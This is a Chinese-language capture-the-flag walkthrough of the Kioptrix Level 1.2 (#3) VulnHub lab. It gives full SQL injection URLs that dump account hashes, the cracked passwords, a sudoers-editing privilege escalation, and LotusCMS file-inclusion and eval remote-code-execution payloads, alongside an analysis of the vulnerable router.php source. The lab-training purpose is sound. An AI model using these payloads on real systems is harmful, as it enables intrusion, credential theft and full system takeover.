当前位置: 代码迷 >> 综合 >> vulnhub KioptrixVM3 靶场练习LotusCMS漏洞分析
  详细解决方案

vulnhub KioptrixVM3 靶场练习LotusCMS漏洞分析

热度:29   发布时间:2023-12-20 23:58:29.0

前言

这次练习的靶机是vulnhub平台下KiptrixVM3,下载地址为https://www.vulnhub.com/entry/kioptrix-level-12-3,24/。该靶机漏洞较多,获取shell的方法多种多样。相对来说比较简单的一种方法就是通过SQL注入获取账号和密码,然后用这些账号密码尝试ssh登陆靶机,本次对靶机的渗透采用的就是SQL注入的方法。SQL注入的原理比较简单,这里就不做过多的介绍,我会在后面重点分析文件包含和远程代码执行漏洞。

该靶机导入VMware不会分配到IP地址,因为该靶机网络配置是VirtualBox中配置好的。如果你用的正好是VMware虚拟机,你就要手动修改一下网络配置文件。修改方法在我之前的博客中已经讲解:https://blog.csdn.net/rpsate/article/details/119494515#t2

收集信息

arp-scan -l

arp-scan 该工具是使用ARP协议进行扫描,ARP协议扫描速度快,而且不会被防火墙拦截,但是只能扫描同一网段内的目标。

-l 该参数代表从本地网络配置文件中读取IP与掩码,通过IP地址和掩码生成扫描目标地址列表,即本机同网段地址。

在这里插入图片描述

通过扫描发现靶机的Ip地址为192.168.119.179,然后对靶机进一步扫描。

nmap -A -sV -p- 192.168.119.179

-A 代表综合性扫描,能收集很多重要的信息。

-sV 代表扫描主要的服务信息。

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

开放了80端口与22端口,22端口可以尝试暴力破解,但是直接爆破的成功率不大。从80端口的web端开始渗透成功的可能性大很多。下面就用浏览器打开该网站。

在这里插入图片描述

在这里插入图片描述

发现了该网站是使用的CMS是lotusCMS,接下来可以搜索一下该CMS的漏洞,你会很快找到该靶机的突破口。我们在看看有没有其他的漏洞,还是重点关注可以交互数据的地方。

SQL注入

通过寻找并多次测试,在下面这个页面发现了一句SQL查询语句,这个作者太有意思了,作者竟然这么明显的提示我们这里有SQL注入!

gallery/gallery.php?id=1

在这里插入图片描述

在左下角选择框里可以选择Photo Id,然后再URL栏就会出现一个Id的参数,该处就是SQL注入点了。我们可以在此参数中加一个单引号使其报错来验证该处存在SQL注入。

在这里插入图片描述

经过多次测试,SQL注入联合插线的语句如下,该语句可以查出当前使用的数据库名称。

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,database(),null,null,null-- -&sort=photoid#photos

注意:select查询需要六个列,查询数据放在第一个列则数据不会完全显示,联合因为这要与前面的SQL语句对应。

如果看不懂SQL注入的代码,建议先学习SQL语句并完成sql-lab靶场。

在这里插入图片描述

下面查询一下gallery中库中有哪一些表。

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='gallery'),null,null,null-- -&sort=photoid#photos

在这里插入图片描述

一共查出了七个表,重点查询具有账号的表dev_accountsgallarific_users

首先查询一下该表dev_accounts中有哪些列名,另一个表的查询方法类似。

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),null,null,null-- -&sort=photoid#photos

在这里插入图片描述

发现了用户名与密码列,这个应该就是我们要找的表了,查询一下该该表中的详细信息。

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(username,'~',password) from gallery.dev_accounts),null,null,null-- -&sort=photoid#photos

在这里插入图片描述

查询到了两个账号和它们对应密码的MD5加密密文:dregs:0d3eccfb887aabd50f243b3f155c0f85和loneferret:5badcaf789d3d1d09794d8f021f40f0e。应为该密码比较简单,所以在解密网站上可以迅速破译出该密文:dregs:Mast3r,loneferret:starwars

在这里插入图片描述

SSH登陆并提权

尝试使用刚刚破解的账号密码登陆ssh,经过测试发现loneferret:starwars是可以登陆ssh。

ssh loneferret@192.168.119.179

在这里插入图片描述

获取shell之后要做的就是提权,常见的提权方法有suid提权,sudo提权,内核提权。尝试一下这几种方法:

sudo -l

在这里插入图片描述

其中!/usr/bin/su执行不了,没有这个文件,也不能创建这个文件,因为权限不足。但是/usr/local/bin/ht是可以执行的,这是一个编辑器,而且是一个可以以root权限运行的编辑器。所以我们可以用这个编辑器修改/usr/passwd/etc/sudoers文件来提权。修改/usr/passwd的方式在前面的博客中已经讲过两次了,这次就来尝试一下修改/etc/sudoers文件来提权。

当用户执行sudo命令时,系统会到/etc/sudoers文件中寻找相关信息来判断该用户是否具有执行sudo的权限,所以我们修改sudoers文件,试用户loneferret具有使用sudo执行/bin/bash的权限,以达到提权的目的。

sudo /usr/local/bin/ht

在这里插入图片描述

按F3,然后输入/etc/sudoers打开该配置文件,看一看root用户的配置,依葫芦画瓢。

在这里插入图片描述

ALL=(ALL) ALL,其中三个ALL的含义不同,其含义如下:

其中第一个ALL代表允许所有主机来源执行sudo,例如只允许该用户在本地执行sudo可以将ALL改成localhost。

第二种ALL代表该用户可以用任何用户的身份执行sudo。

第三个ALL代表该用户可以执行任何命令

有一些文件中会这么写:ALL=(ALL:ALL) ALL,括号中第二个ALL代表任何用户组。

修改完成后按F2保存,然后按ctrl+c退出,然后以root权限执行/bin/bash即可提权。

sudo /bin/bash

在这里插入图片描述

提权成功!但是到这里还没有结束,因为该靶机中还有一些值得研究的漏洞没有探索,接下来我们将详细学习另外几个漏洞。

文件包含漏洞分析

如果要手动找到这个漏洞是比较困难的,但是用漏洞扫描器很快就可以找到这个漏洞 ,其利用地址如下:

http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a

在这里插入图片描述

要注意的是在文件名后需要加上 %00来阶段后面的字符,并且在%00后面须有加上任意字符,如果%00后面没有字符的话,%00也将会在提交时被忽略掉。这个就叫00阶段,在文件上传中也经常用到。

下面我们来分析一下这个个漏洞,查看index.php的源码,发现其主要功能是在core/lib/router.php中。

<?php
/**** GPL v4 * LotusCMS 2010.** Written by Kevin Bluett**/
//Start the session.
session_start();//Failsafe to install
if(file_exists("install.php")){
    header("Location: install.php");	
}//Load up the routing system
require("core/lib/router.php");//Route the page request to the specified system, eg. Page retrieval, administration or essentially anything.
new Router();?>

继续查看core/lib/router.php的源码:

<?php
/*** GPL v4 * LotusCMS 2010.* Written by Kevin Bluett* This Class routes any request from an external source into the LotusCMS systems.*/
class Router{
    /*** This routes any request from get variables into the LotusCMS system.*/public function Router(){
    //Get page request (if any)$page = $this->getInputString("page", "index");//Get plugin request (if any)$plugin = $this->getInputString("system", "Page");//If there is a request for a pluginif(file_exists("core/plugs/".$plugin."Starter.php")){
    //Include Page fetcherinclude("core/plugs/".$plugin."Starter.php");//Fetch the page and get over loading cache etc...//die("new ".$plugin."Starter('".$page."');");eval("new ".$plugin."Starter('".$page."');");}else if(file_exists("data/modules/".$plugin."/starter.dat")){
    //Include Module Fetching Systeminclude("core/lib/ModuleLoader.php");//Load Modulenew ModuleLoader($plugin, $this->getInputString("page", null));}else{
     //Otherwise load a page from the standard system.//Include Page fetcherinclude("core/plugs/PageStarter.php");//Fetch the page and get over loading cache etc...new PageStarter($page);}}/*** Returns a global variable*/protected function getInputString($name, $default_value = "", $format = "GPCS"){
    //order of retrieve default GPCS (get, post, cookie, session);$format_defines = array ('G'=>'_GET','P'=>'_POST','C'=>'_COOKIE','S'=>'_SESSION','R'=>'_REQUEST','F'=>'_FILES',);preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals orderforeach ($matches[0] as $k=>$glb){
    if ( isset ($GLOBALS[$format_defines[$glb]][$name])){
       return htmlentities ( trim ( $GLOBALS[$format_defines[$glb]][$name] ) , ENT_NOQUOTES ) ;}}return $default_value;} }?>

该文件一开始就会执行 getInputString($name, $default_value = "", $format = "GPCS")函数,该函数在文件的47到67行,其主要功能是获取参数$name的值,其获取的方式按顺序为GET,POST,COOKIE,SESSION,如果能通过其中的一种方式获取到该参数的值,那么就不会尝试后面的方法。如果这四种方法都没有获取到值则返回默认值$default_value

例如文件中的 $this->getInputString("page", "index"),该函数尝试获取$_GET['page']的值,如果没有则尝试获取$_POST['page']的值,依此类推,如果所有方式都没有获取到值,则返回第二个参数 index

在知道了这个函数的作用后,继续查看代码中哪里的文件引用参数可控,在第24行发现如下代码:

include("core/plugs/".$plugin."Starter.php");

该语句的作用是引用文件,其中$plugin可控,然后再查看如何改变$plugin的值,在该文件的18行发现如下代码:

$plugin = $this->getInputString("system", "Page");

变量$plugin的值是由getInputStrings()函数控制,我们在前面已经分析了该函数,该函数的返回值可以通过GET提交数据来改变,也就是我们通过GET的方式提交system参数即可改变$plugin的值,例如下面URL:

http://192.168.119.179/index.php?system=../../../../../etc/passwd

在访问该URL后,文件引用为 core/plugs/../../../../../etc/passwdStarter.php。很明显引用的文件发生改变了,但是passwdStarter.php是不存在的,我们需要想办法让后面的字符Starter.php去掉,这时候就需要用到00截断了。

因为%00是结束的标志,当php读取到该标志时就会认为该字符串结束,后面的数据就会被直接忽略。

00截断利用条件:PHP<5.3.29,magic_quotes_gpc为OFF状态。

所以访问如下URL就会成功读取系统文件。

http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a

远程代码执行漏洞分析

该漏洞与文件包含漏洞出现在同一个文件中,我们继续看core/lib/router.php中的代码,看到22到29行:

        if(file_exists("core/plugs/".$plugin."Starter.php")){
    //Include Page fetcherinclude("core/plugs/".$plugin."Starter.php");//Fetch the page and get over loading cache etc...eval("new ".$plugin."Starter('".$page."');");}

其中eval()函数就是执行代码的函数,其中$plugin$page可控。但在在22行中$plugin作为入口条件参数,只有让文件"core/plugs/".$plugin."Starter.php"存在才会执行eval()函数,所以我们只可以修改$page来执行命令。$page$plugin一样,都可以通过GET的方式来改变。输入如下URL:

http://192.168.119.179/index.php?page='.phpinfo().'

提交如上URL后,$page就会等于'.phpinfo().',所以eval()执行的代码如下:

new PageStarter(''.phpinfo().'');

因为$plugin没有执行,所以默认为Page,所以执行的就是PageStarter()。

该语句会首先执行phpinfo()然后与前后的’'拼接,然后再执行new PageStarter(拼接后的内容),这样就导致了我们可以通过修改page参数来执行任意命令。我们还可以执行系统命令:

http://192.168.119.179/index.php?page='.system('id').'

总结

分析到此结束了,大家可以动手尝试利用这两个漏洞。通过远程代码执行可以获取shell,然后通过查看配置文件获取数据库的账号密码。此靶机中文件包含漏洞不能包含日志文件,所以不能通过包含日志文件来获取shell,但是可以将此网站部署到自己的网站环境中尝试获取shell。

参考文献

[1] http://chenall.net/post/linux-sudo-config/,linux sudo 命令和配置文件/etc/sudoers介绍

[2] https://blog.csdn.net/weixin_39620653/article/details/115144656,php 00截断,00截断之追本溯源

[3] https://blog.csdn.net/heli200482128/article/details/77833881,sudo配置文件/etc/sudoers详解及实战用法